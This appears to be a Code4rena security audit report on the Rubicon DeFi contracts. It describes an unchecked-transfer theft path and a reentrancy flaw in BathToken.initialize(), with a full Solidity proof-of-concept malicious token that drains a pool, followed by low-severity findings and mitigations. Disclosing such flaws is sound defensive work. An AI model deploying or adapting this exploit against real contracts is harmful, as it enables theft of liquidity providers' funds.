Rubicon contest - Bahurum's results

Lines of code

https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathPair.sol#L516 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L352

Vulnerability details

Impact

While rebalancing, strategists can steal all tokens that do not revert on transfer failure and are filling pools of other tokens

Proof of Concept

Let's say that the assetToken in a pair doesn't revert on transfer failure. A strategist can call BathPair.rebalancePair() with argument assetRebalAmnt which is actually bigger than the amount of tokens that are filling the quoteToken pool and should be rebalanced, and specifically equal to assetToken.balanceOf(_bathQuoteAddress) * 1000 / IBathHouse(_bathHouse).getBPSToStrats(). This will call BathToken.rebalance() (BathPair.sol#L516), where at line 352 stratReward will be assigned a value equal to assetToken.balanceOf(_bathQuoteAddress). Then the first transfer to the amountToken pool will fail silently given the huge value of rebalAmt, while the second transfer will send the entire amount of amountToken in the quote Pool to the strategist.

Tools Used

Manual analysis

Recommended Mitigation Steps

Use openzeppelin SafeERC20 library or add checks to ERC20.transfer() return value.

Lines of code

https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathHouse.sol#L153 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L214

Vulnerability details

Title

Malicious pools can be deployed through BathHouse

Impact

Reentrancy in BathToken.initialize() can be exploited and this allows to create a pool which has a legitimate underlying token (even one for which a pool already exists), and has given full approval of underlying Token to an attacker. While this underlying token will differ from the one returned by BathHouse.getBathTokenfromAsset for that Pool (since the returned token would be the malicious one which reentered initialize), the LPs could still deposit actual legitimate tokens to the pool since it is deployed from the BathHouse and has the same name as a legit pool, and loose their deposit to the attacker.

Proof of Concept

Create a new pool calling BathHouse.openBathTokenSpawnAndSignal() and passing as newBathTokenUnderlying the address with the following malicious token:

// SPDX-License-Identifier: BUSL-1.1

pragma solidity =0.7.6;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../../contracts/rubiconPools/BathToken.sol";

contract fakeToken is ERC20("trueToken", "TRUE"), Ownable {

    ERC20 trueToken;
    address marketAddress;
    uint256 counterApprove;
    BathToken bathToken;

    function setTrueToken(address _trueTokenAddress) onlyOwner {
        trueToken = ERC20(_trueTokenAddress);
    }

    function setMarketAddress(address _marketAddress) onlyOwner {
        marketAddress = _marketAddress;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        if (counterApprove == 1) { //first approve is from bathHouse
            bathToken = BathToken(msg.sender);
            bathToken.initialize(trueToken, owner, owner);
            attacked = false;
        }
        counterApprove++;
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function setAndApproveMarket(address _market){
        // sets legitimate market after malicious bathToken initialization
        bathToken.setMarket(_market);
        bathToken.approveMarket();
    }

    function emptyPool() onlyOwner {
        // sends pool tokens to attacker
        uint256 poolBalance = trueToken.balanceOf(address(bathToken));
        trueToken.transferFrom(address(bathToken), owner, poolBalance);
    }
}

This reenters BathToken.initialize() and reassigns the bathHouse role to the fake token, which names itself as the legit token. Also the reentrant call reassigns the legit Token to underlyingToken so thet the pool actually contains the legit token, but gives infinite approval for the legit token from the pool to the attacker, who is passed as market in the reentrant call.

Since the fakeToken has the bathHouse role, it can set the market to the actual RubiconMarket after the reentrant call.

Code: BathHouse.openBathTokenSpawnAndSignal, BathToken.initialize

Tools Used

Manual analysis

Recommended Mitigation Steps

Add onlyBathHouse modifier to initialize function in BathToken to avoid reentrancy from malicious tokens.

1.Missing or incomplete natspec comments on public and external functions

Public and external functions in all contracts in scope are missing or have incomplete NatSpec documentation (in particular @param and @return tags are very often missing). This makes the code harder to understand for developers and auditors. For more info on the Solidity NatSpec format see here.

2.rewardsVestingWallet is never initialized

In BathToken variable rewardsVestingWallet is never initialized. As a consequence the if block in function distributeBonusTokenRewards is never entered and Bath Token rewads are not distributed. BathToken.sol#L642-L650.

3. Unused function parameter _feeTo

In initialize function of BathToken parameter _feeTo is never used. Consider removing it. BathToken.sol#L184

4. Missing events for critical changes in system parameters

Change of critical system parameters should come with en event emission to allow for monitoring of potentially dangerous or malicious changes. BathToken.sol#L244-L272

5. Duplicate imports

In BathHouse Openzeppelin ERC20 contract is imported twice. BathHouse.sol#L12-L13

6. Missing zero initial liquidity check at pool creation

Calling the function openBathTokenSpawnAndSignal of BathHouse an LP can create a pool with zero liquidity. BathHouse.sol#L136

7. ETH accidentally sent to contract cannot be recovered

RubiconRouter has receive() and fallback() payable functions but no function to recover ETH accidentally sent by users to the contract. RubiconRouter.sol#L37-L39

8. Excess ETH sent with payable function call is not returned to caller

In RubiconRouter when calling functions buyAllAmountWithETH, offerWithETH, depositWithETH and swapWithETH if the value of ETH sent along the call is higher than the specific amount set in the parameters, then the excess is not sent back to the caller and gets stuck in the contract. Consider one of the two proposed mitigations

1. Change the check on minimum call value to a check to exact call value: require(msg.value == max_fill_withFee)
2. Tranfer the excess ETH back to the caller at the end of the function. For example for buyAllAmountWithETH this would be msg.sender.transfer(msg.value - max_fill_withFee)

9. Function is marked as payable but is not expected to use ETH sent

In RubiconRouter functions withdrawForETH and swapForETH are marked as payable but they do not use incoming ETH (they send ETH to the caller instead). Consider removing the payable modifier form these functions since it creates confusion on whether they are supposed to receive or send ETH.